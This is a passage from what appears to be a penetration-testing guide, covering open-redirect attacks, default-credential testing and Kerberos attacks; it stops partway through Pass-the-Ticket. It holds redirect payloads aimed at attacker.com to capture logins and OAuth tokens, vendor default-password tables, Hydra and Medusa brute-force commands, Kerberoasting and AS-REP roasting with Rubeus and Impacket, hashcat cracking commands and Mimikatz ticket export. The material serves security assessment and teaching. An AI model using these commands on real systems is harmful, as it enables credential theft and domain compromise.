  Attack Scenarios
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Phishing amplification:&lt;/strong&gt;&lt;br&gt;
The attacker crafts a redirect URL that starts at a legitimate, trusted domain and ends at a malicious one:&lt;br&gt;
&lt;code&gt;`&lt;br&gt;
https://trusted-bank.com/auth/logout?next=https://attacker.com/bank-login&lt;br&gt;
`&lt;/code&gt;&lt;br&gt;
The user sees &lt;code&gt;trusted-bank.com&lt;/code&gt; at the start of the URL. They click, the bank's server redirects them to &lt;code&gt;attacker.com/bank-login&lt;/code&gt; (which looks identical to the real login page), they enter their credentials, and the credentials are captured.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OAuth token theft:&lt;/strong&gt;&lt;br&gt;
OAuth authorization flows frequently use redirect URIs to send authorization codes and tokens back to the application after authentication. If an application registers a redirect URI like &lt;code&gt;https://app.example.com/callback&lt;/code&gt; but the authorization server validates redirects too loosely, an attacker can use an open redirect on &lt;code&gt;app.example.com&lt;/code&gt; to redirect OAuth tokens to their own server:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
https://oauth-server.com/authorize?client_id=app&amp;amp;redirect_uri=https://app.example.com/redirect?next=https://attacker.com/capture&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;The OAuth server sends the token to &lt;code&gt;app.example.com/redirect&lt;/code&gt;, which immediately redirects it to &lt;code&gt;attacker.com/capture&lt;/code&gt;. The attacker receives the OAuth token without the user noticing.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;SSRF enablement:&lt;/strong&gt;&lt;br&gt;
In some contexts, open redirects can enable SSRF (Server-Side Request Forgery). If a server-side request follows redirects and an open redirect is accessible, the attacker can chain: SSRF → open redirect → internal URL to reach internal services.&lt;/p&gt;
&lt;h4&gt;
  
  
  Detecting Open Redirects
&lt;/h4&gt;

&lt;p&gt;During assessment, systematically check for redirect parameters:&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Parameters commonly used for redirects:
&lt;/h1&gt;

&lt;p&gt;?next=&lt;br&gt;
?redirect=&lt;br&gt;
?redirect_uri=&lt;br&gt;
?redirect_url=&lt;br&gt;
?url=&lt;br&gt;
?return=&lt;br&gt;
?return_to=&lt;br&gt;
?returnUrl=&lt;br&gt;
?dest=&lt;br&gt;
?destination=&lt;br&gt;
?go=&lt;br&gt;
?forward=&lt;br&gt;
?target=&lt;br&gt;
?continue=&lt;/p&gt;
&lt;h1&gt;
  
  
  Test payload — detect if the server follows your redirect:
&lt;/h1&gt;

&lt;p&gt;?next=&lt;a href="https://attacker.com" rel="noopener noreferrer"&gt;https://attacker.com&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  For blind detection (server-side redirect not visible):
&lt;/h1&gt;

&lt;p&gt;?next=&lt;a href="https://your-burp-collaborator-id.burpcollaborator.net" rel="noopener noreferrer"&gt;https://your-burp-collaborator-id.burpcollaborator.net&lt;/a&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Bypass common validation (filtering only first URL):
&lt;/h1&gt;

&lt;p&gt;?next=&lt;a href="https://trusted.com@attacker.com" rel="noopener noreferrer"&gt;https://trusted.com@attacker.com&lt;/a&gt;&lt;br&gt;
?next=&lt;a href="https://trusted.com.attacker.com" rel="noopener noreferrer"&gt;https://trusted.com.attacker.com&lt;/a&gt;&lt;br&gt;
?next=//attacker.com  (protocol-relative)&lt;br&gt;
?next=/\attacker.com  (backslash in some browsers treated as /)&lt;br&gt;
?next=&lt;a href="https://attacker%2ecom" rel="noopener noreferrer"&gt;https://attacker%2ecom&lt;/a&gt;  (URL encoding)&lt;/p&gt;
&lt;h1&gt;
  
  
  Using known open redirects in Google and other trusted services to chain:
&lt;/h1&gt;
&lt;h1&gt;
  
  
  &lt;a href="https://www.google.com/url?q=https://attacker.com" rel="noopener noreferrer"&gt;https://www.google.com/url?q=https://attacker.com&lt;/a&gt;
&lt;/h1&gt;
&lt;h1&gt;
  
  
  &lt;a href="https://accounts.google.com/SignOutOptions?continue=https://attacker.com" rel="noopener noreferrer"&gt;https://accounts.google.com/SignOutOptions?continue=https://attacker.com&lt;/a&gt;
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Automated detection with nuclei:&lt;/strong&gt;&lt;br&gt;
&lt;code&gt;`bash&lt;br&gt;
nuclei -u https://target.com -tags redirect&lt;br&gt;
nuclei -u https://target.com -id open-redirect&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;
&lt;h4&gt;
  
  
  Defense
&lt;/h4&gt;

&lt;p&gt;Server-side validation should either:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Use an allowlist of permitted redirect destinations — only specific, pre-approved URLs are allowed&lt;/li&gt;
&lt;li&gt;Avoid redirecting to external URLs entirely — only allow redirect within the same domain using relative paths&lt;/li&gt;
&lt;li&gt;Validate that the redirect target's domain matches the application's domain&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Never rely on client-side validation for redirect targets.&lt;/p&gt;


&lt;h3&gt;
  
  
  6.5.5 Default Credentials — The Easiest Win in Security Testing
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Why Default Credentials Are Still Everywhere
&lt;/h4&gt;

&lt;p&gt;You would think that in 2024, with decades of security awareness campaigns and regulatory requirements demanding strong authentication, default credentials would be a solved problem. They are not. In fact, default credentials remain one of the most consistently productive findings in penetration testing assessments.&lt;/p&gt;

&lt;p&gt;The reasons are structural:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Scale problem:&lt;/strong&gt; An enterprise network may have thousands of devices — routers, switches, firewalls, printers, cameras, access points, storage devices, servers, and dozens of categories of IoT and OT devices. Each one shipped from the factory with a default credential. A single administrator responsible for hundreds of devices, under pressure to keep systems operational, will inevitably miss some.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Legacy systems:&lt;/strong&gt; Devices that have been running for years were set up before current security policies were in place. They have never been revisited because they are "working fine."&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vendor default persistence:&lt;/strong&gt; Some vendors configure devices to use the same default credential for all customers — sometimes the device serial number, sometimes &lt;code&gt;admin/admin&lt;/code&gt;, sometimes the device hostname. Enterprise IT teams may not realize that what seems like a unique credential is actually published in the vendor documentation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Non-IT device categories:&lt;/strong&gt; Facilities systems (HVAC, cameras, door access systems, building management systems), medical devices, industrial controllers — these are managed by facilities or operations teams, not IT, and security hygiene standards often differ significantly.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shadow IT:&lt;/strong&gt; Devices deployed by individual teams without going through the standard IT provisioning and configuration process often have never had their default credentials changed.&lt;/p&gt;
&lt;h4&gt;
  
  
  Where to Find Default Credentials
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Router, switch, and firewall admin interfaces:&lt;/strong&gt;&lt;br&gt;
Network device web interfaces are almost always on common ports (80, 443, 8080, 8443) on device management IPs. Vendors publish their default credentials in documentation:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Vendor&lt;/th&gt;
&lt;th&gt;Common Default Credentials&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Cisco&lt;/td&gt;
&lt;td&gt;admin/cisco, cisco/cisco, admin/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Netgear&lt;/td&gt;
&lt;td&gt;admin/password, admin/1234&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;D-Link&lt;/td&gt;
&lt;td&gt;admin/(blank), admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;TP-Link&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Ubiquiti&lt;/td&gt;
&lt;td&gt;ubnt/ubnt&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fortinet FortiGate&lt;/td&gt;
&lt;td&gt;admin/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Palo Alto&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Juniper&lt;/td&gt;
&lt;td&gt;root/(blank), admin/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;IP cameras and surveillance systems:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Security cameras are notorious for default credentials. The Mirai botnet — which in 2016 took down a significant portion of the internet's infrastructure in a DDoS attack — infected primarily cameras and DVRs using default credentials. The problem persists:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Brand&lt;/th&gt;
&lt;th&gt;Common Defaults&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Hikvision&lt;/td&gt;
&lt;td&gt;admin/12345, admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Dahua&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Axis&lt;/td&gt;
&lt;td&gt;root/pass, root/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Samsung&lt;/td&gt;
&lt;td&gt;admin/4321&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Database servers:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Database&lt;/th&gt;
&lt;th&gt;Common Default Credentials&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;MySQL&lt;/td&gt;
&lt;td&gt;root/(blank), root/root&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;PostgreSQL&lt;/td&gt;
&lt;td&gt;postgres/postgres, postgres/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MSSQL&lt;/td&gt;
&lt;td&gt;sa/(blank), sa/sa&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;MongoDB&lt;/td&gt;
&lt;td&gt;(no auth by default in older versions)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Redis&lt;/td&gt;
&lt;td&gt;(no auth by default)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Elasticsearch&lt;/td&gt;
&lt;td&gt;elastic/changeme&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Application admin panels:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Application&lt;/th&gt;
&lt;th&gt;Common Defaults&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;WordPress&lt;/td&gt;
&lt;td&gt;admin/admin, admin/password&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Joomla&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Drupal&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Magento&lt;/td&gt;
&lt;td&gt;admin/admin123&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;phpMyAdmin&lt;/td&gt;
&lt;td&gt;root/(blank)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Jenkins&lt;/td&gt;
&lt;td&gt;admin/admin (or generated during install)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Grafana&lt;/td&gt;
&lt;td&gt;admin/admin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Kibana&lt;/td&gt;
&lt;td&gt;elastic/changeme&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tomcat Manager&lt;/td&gt;
&lt;td&gt;admin/admin, tomcat/tomcat, admin/tomcat&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;
&lt;h4&gt;
  
  
  Resources for Default Credential Lookup
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;Default Credentials Cheat Sheet:&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://github.com/ihebski/DefaultCreds-cheat-sheet" rel="noopener noreferrer"&gt;https://github.com/ihebski/DefaultCreds-cheat-sheet&lt;/a&gt;&lt;br&gt;
A comprehensive database of default credentials for hundreds of vendors and products.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Router Default Passwords:&lt;/strong&gt;&lt;br&gt;
&lt;a href="https://www.routerpasswords.com" rel="noopener noreferrer"&gt;https://www.routerpasswords.com&lt;/a&gt;&lt;br&gt;
Searchable database of router default credentials.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Shodan:&lt;/strong&gt;&lt;br&gt;
Shodan searches can find devices with known default credentials. Some Shodan search queries for devices with known defaults:&lt;br&gt;
`&lt;code&gt;&lt;/code&gt;&lt;/p&gt;
&lt;h1&gt;
  
  
  Hikvision cameras (common in enterprise surveillance)
&lt;/h1&gt;

&lt;p&gt;product:"Hikvision IP Camera"&lt;/p&gt;
&lt;h1&gt;
  
  
  Cisco devices
&lt;/h1&gt;

&lt;p&gt;product:"Cisco" port:80&lt;/p&gt;
&lt;h1&gt;
  
  
  Find devices with specific default-credential indicators in banners
&lt;/h1&gt;

&lt;p&gt;"default password"&lt;br&gt;
"admin password" "not changed"&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;
&lt;h4&gt;
  
  
  Testing Default Credentials in an Assessment
&lt;/h4&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Manual testing approach - use Burp Suite Intruder
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Import a credential wordlist (default_creds.txt format: username:password)
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Configure Intruder to test each pair against the login endpoint
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Automated testing with Hydra:
&lt;/h1&gt;

&lt;p&gt;hydra -L usernames.txt -P passwords.txt http-post-form://target/login:username=^USER^&amp;amp;password=^PASS^:Login failed&lt;/p&gt;
&lt;h1&gt;
  
  
  Nuclei default credential templates:
&lt;/h1&gt;

&lt;p&gt;nuclei -u &lt;a href="https://target.com" rel="noopener noreferrer"&gt;https://target.com&lt;/a&gt; -tags default-login&lt;br&gt;
nuclei -l targets.txt -tags default-login -severity critical,high&lt;/p&gt;
&lt;h1&gt;
  
  
  Medusa for network services:
&lt;/h1&gt;

&lt;p&gt;medusa -h target -U users.txt -P passwords.txt -M http&lt;/p&gt;
&lt;h1&gt;
  
  
  nmap NSE script for common default credentials:
&lt;/h1&gt;

&lt;p&gt;nmap --script http-default-accounts -p 80,443,8080,8443 target&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The professional workflow:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;During network scanning, identify all web-accessible management interfaces (flag all open ports 80, 443, 8080, 8443, 8888)&lt;/li&gt;
&lt;li&gt;For each interface, identify the technology (Cisco, Axis, Jenkins, phpMyAdmin, etc.) from the login page or HTTP headers&lt;/li&gt;
&lt;li&gt;Look up known default credentials for that technology&lt;/li&gt;
&lt;li&gt;Test manually first (3-5 credential pairs) before launching automated tools&lt;/li&gt;
&lt;li&gt;If an automated attack is needed, use the specific default credential list for that vendor rather than a generic password list&lt;/li&gt;
&lt;/ol&gt;


&lt;h3&gt;
  
  
  6.5.6 Kerberos Vulnerabilities — Breaking Windows Domain Authentication
&lt;/h3&gt;
&lt;h4&gt;
  
  
  Understanding Kerberos — The Protocol You Must Know
&lt;/h4&gt;

&lt;p&gt;Kerberos is the primary authentication protocol in Active Directory environments — which means it is the authentication protocol in the majority of enterprise corporate networks worldwide. Every Windows domain login, every SMB file share access, every SQL Server connection in a domain environment goes through Kerberos.&lt;/p&gt;

&lt;p&gt;Understanding how Kerberos works mechanically is the prerequisite for understanding why the attacks against it work. Many security professionals learn Kerberoasting commands without understanding the protocol, which means they cannot adapt when something does not work as expected or explain their findings clearly to clients.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The three parties in every Kerberos exchange:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;KDC (Key Distribution Center):&lt;/strong&gt; Runs on the Domain Controller. The central authority that manages all authentication in the domain. Contains two services: the AS (Authentication Service) which handles initial authentication, and the TGS (Ticket Granting Service) which issues service tickets.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Client:&lt;/strong&gt; The user or machine requesting access to a resource.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Service:&lt;/strong&gt; The server or service the client wants to access (a file server, a database, a web application, a print server).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The Kerberos flow — step by step:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 1 — AS-REQ (Authentication Service Request):&lt;/strong&gt;&lt;br&gt;
When you log into a Windows domain, your workstation sends an AS-REQ to the KDC. This request includes your username and a timestamp encrypted with the NT hash of your password (your password hash). The encrypted timestamp proves you know your password without sending the password itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 2 — AS-REP (Authentication Service Reply):&lt;/strong&gt;&lt;br&gt;
The KDC decrypts the timestamp using the stored hash of your password. If it decrypts correctly and the timestamp is within the allowed window (5 minutes by default), you are authenticated. The KDC sends back two things: a session key encrypted with your password hash (for you to use in subsequent steps), and the &lt;strong&gt;TGT (Ticket Granting Ticket)&lt;/strong&gt; encrypted with the hash of the special &lt;code&gt;krbtgt&lt;/code&gt; account.&lt;/p&gt;

&lt;p&gt;The TGT is your "proof of authentication" for the rest of your session. It contains your identity, your group memberships, and an expiration time. You cannot read or modify it because it is encrypted with the &lt;code&gt;krbtgt&lt;/code&gt; hash, which you do not have.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 3 — TGS-REQ (Ticket Granting Service Request):&lt;/strong&gt;&lt;br&gt;
When you want to access a specific service (say, a file server), you send the TGT to the TGS and request a Service Ticket (ST) for the specific service, identified by its SPN (Service Principal Name).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 4 — TGS-REP (Ticket Granting Service Reply):&lt;/strong&gt;&lt;br&gt;
The TGS decrypts your TGT using the &lt;code&gt;krbtgt&lt;/code&gt; hash, verifies it is valid, and issues a Service Ticket encrypted with the hash of the service account that runs the target service. You receive this Service Ticket but cannot read its contents because it is encrypted with the service account's hash.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Step 5 — AP-REQ (Application Request):&lt;/strong&gt;&lt;br&gt;
You present the Service Ticket to the target service. The service decrypts it using its own account's hash, verifies you are authorized, and grants access. Crucially: &lt;strong&gt;the service never contacts the KDC to verify the ticket&lt;/strong&gt;. It trusts it entirely based on its own ability to decrypt it. This is the architectural fact that enables Silver Ticket attacks.&lt;/p&gt;

&lt;p&gt;This entire exchange contains four attack surfaces:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Pre-authentication disabled → AS-REP Roasting&lt;/li&gt;
&lt;li&gt;Service ticket encrypted with service account hash → Kerberoasting&lt;/li&gt;
&lt;li&gt;Forged TGT using krbtgt hash → Golden Ticket&lt;/li&gt;
&lt;li&gt;Forged Service Ticket using service account hash → Silver Ticket&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;
  
  
  Attack 1 — Kerberoasting
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The vulnerability:&lt;/strong&gt;&lt;br&gt;
In step 4 above, the KDC issues a Service Ticket encrypted with the hash of the service account that runs the requested service. Any domain user can request a Service Ticket for any service. The ticket is encrypted with the service account's hash.&lt;/p&gt;

&lt;p&gt;If an attacker requests a Service Ticket for a service and captures the encrypted ticket, they have an encrypted blob that was encrypted with the service account's password hash. They can take this offline and crack it — trying passwords until one produces the correct hash to decrypt the ticket.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The prerequisite for exploitation:&lt;/strong&gt;&lt;br&gt;
The service must have an SPN (Service Principal Name) registered. SPNs identify which accounts run which services. Any domain account can have an SPN if a domain admin or the account itself registers one.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;`&lt;br&gt;
Example SPNs:&lt;br&gt;
MSSQLSvc/SQLSERVER01.corp.local:1433    (SQL Server)&lt;br&gt;
HTTP/webapp.corp.local:443              (Web Application)&lt;br&gt;
WSMAN/DC01.corp.local                   (Windows Remote Management)&lt;br&gt;
`&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Why it matters:&lt;/strong&gt; Service accounts — accounts that run services like SQL Server, IIS, Exchange — often have weak passwords. They were set up once, years ago, with a password like &lt;code&gt;Password1234&lt;/code&gt; that never changes because the service would break if the password changed. Kerberoasting extracts their password hash encrypted in a crackable format.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Execution:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;powershell&lt;/p&gt;
&lt;h1&gt;
  
  
  On a Windows machine in the domain (requires only a domain user account):
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Using PowerView (PowerSploit) — enumerate SPNs
&lt;/h1&gt;

&lt;p&gt;Get-DomainUser -SPN | Select-Object SamAccountName, ServicePrincipalName&lt;/p&gt;
&lt;h1&gt;
  
  
  Using built-in setspn tool (reconnaissance):
&lt;/h1&gt;

&lt;p&gt;setspn -Q &lt;em&gt;/&lt;/em&gt; | findstr /v host/&lt;/p&gt;
&lt;h1&gt;
  
  
  Request and capture TGS tickets for all SPNs (Invoke-Kerberoast):
&lt;/h1&gt;

&lt;p&gt;Import-Module .\PowerSploit.ps1&lt;br&gt;
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | ConvertTo-Csv -NoTypeInformation&lt;/p&gt;
&lt;h1&gt;
  
  
  Or using Rubeus (preferred modern tool):
&lt;/h1&gt;

&lt;p&gt;.\Rubeus.exe kerberoast /output:hashes.txt /nowrap&lt;br&gt;
.\Rubeus.exe kerberoast /user:svc_sql /output:sql_hash.txt  # Target specific account&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  From Linux using Impacket:
&lt;/h1&gt;

&lt;p&gt;GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -outputfile kerberoast_hashes.txt&lt;br&gt;
GetUserSPNs.py DOMAIN/username:password -dc-ip DC_IP -request  # Output to screen&lt;/p&gt;
&lt;h1&gt;
  
  
  If you have an NT hash instead of password (pass-the-hash):
&lt;/h1&gt;

&lt;p&gt;GetUserSPNs.py DOMAIN/username -hashes :NTLM_HASH -dc-ip DC_IP -outputfile hashes.txt&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cracking the hashes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Kerberoast hashes are in Kerberos 5 TGS-REP etype 23 format, which is hashcat mode 13100.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  Hashcat — GPU cracking (dramatically faster than CPU):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  With rules (for mangled passwords like Password1!, Summer2023@):
&lt;/h1&gt;

&lt;p&gt;hashcat -m 13100 kerberoast_hashes.txt /usr/share/wordlists/rockyou.txt \&lt;br&gt;
  -r /usr/share/hashcat/rules/best64.rule&lt;/p&gt;
&lt;h1&gt;
  
  
  John the Ripper alternative:
&lt;/h1&gt;

&lt;p&gt;john kerberoast_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  If the password is simple, it cracks in seconds to minutes
&lt;/h1&gt;
&lt;h1&gt;
  
  
  If the password is complex (25+ random chars), cracking is computationally infeasible
&lt;/h1&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;What to do with a cracked service account password:&lt;/strong&gt;&lt;br&gt;
Service accounts often have elevated privileges — SQL Server service accounts frequently have &lt;code&gt;sysadmin&lt;/code&gt; rights in SQL Server. They may be local administrators on the servers where the service runs. Some organizations give service accounts domain admin privileges (this is a misconfiguration but is very common). The cracked password is used to authenticate as the service account and explore its access.&lt;/p&gt;
&lt;h4&gt;
  
  
  Attack 2 — AS-REP Roasting
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The vulnerability:&lt;/strong&gt;&lt;br&gt;
Kerberos pre-authentication is a security feature that requires users to prove they know their password &lt;em&gt;before&lt;/em&gt; receiving a TGT. Specifically, the client must encrypt the current timestamp with their password hash and send it to the KDC. If the encrypted timestamp decrypts correctly to a valid current time, the KDC sends the TGT.&lt;/p&gt;

&lt;p&gt;When pre-authentication is &lt;strong&gt;disabled&lt;/strong&gt; for an account, the KDC will send a TGT to anyone who asks for it — without requiring the timestamp proof. The TGT is encrypted with the user's password hash. An attacker can request the TGT and crack it offline.&lt;/p&gt;

&lt;p&gt;Pre-authentication is disabled in real environments more often than you would expect — it is sometimes disabled for compatibility with legacy applications that do not support Kerberos pre-authentication, for certain service accounts, or by administrators who do not understand the security implication.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Execution:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  From Linux using Impacket (no domain credentials needed — only username list):
&lt;/h1&gt;

&lt;p&gt;GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -outputfile asrep_hashes.txt&lt;br&gt;
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -no-pass&lt;/p&gt;
&lt;h1&gt;
  
  
  From Linux with domain credentials (enumerate users with pre-auth disabled):
&lt;/h1&gt;

&lt;p&gt;GetNPUsers.py DOMAIN/username:password -dc-ip DC_IP -request -outputfile asrep_hashes.txt&lt;/p&gt;
&lt;h1&gt;
  
  
  From Windows using Rubeus:
&lt;/h1&gt;

&lt;p&gt;.\Rubeus.exe asreproast /output:asrep_hashes.txt /nowrap&lt;/p&gt;
&lt;h1&gt;
  
  
  From Windows using PowerView — enumerate accounts with pre-auth disabled:
&lt;/h1&gt;

&lt;p&gt;Get-DomainUser -PreauthNotRequired | Select-Object SamAccountName&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Cracking AS-REP hashes:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;AS-REP hashes are in Kerberos 5 AS-REP etype 23 format, hashcat mode 18200.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;br&gt;
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt&lt;br&gt;
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule&lt;/p&gt;

&lt;p&gt;john asrep_hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt&lt;br&gt;
&lt;code&gt;&lt;/code&gt;`&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Key difference from Kerberoasting:&lt;/strong&gt; AS-REP Roasting does not require any domain credentials to execute — you only need a list of usernames. This makes it useful very early in an engagement, even before you have any authenticated access.&lt;/p&gt;
&lt;h4&gt;
  
  
  Attack 3 — Pass-the-Ticket
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;The concept:&lt;/strong&gt;&lt;br&gt;
Once an attacker has valid Kerberos tickets (either legitimately obtained by authenticating as a compromised account, or forged), they can inject those tickets into their own session and use them to authenticate to services without needing the account's password.&lt;/p&gt;

&lt;p&gt;`&lt;code&gt;&lt;/code&gt;bash&lt;/p&gt;
&lt;h1&gt;
  
  
  On Windows: export current tickets from memory
&lt;/h1&gt;
&lt;h1&gt;
  
  
  Mimikatz:
&lt;/h1&gt;

&lt;p&gt;privilege::debug&lt;br&gt;
sekurlsa::tickets /export&lt;/p&gt;
&lt;h1&gt;
  
  
  Rubeus:
&lt;/h1&gt;

&lt;p&gt;.\Rubeus.exe dump /nowrap&lt;br&gt;
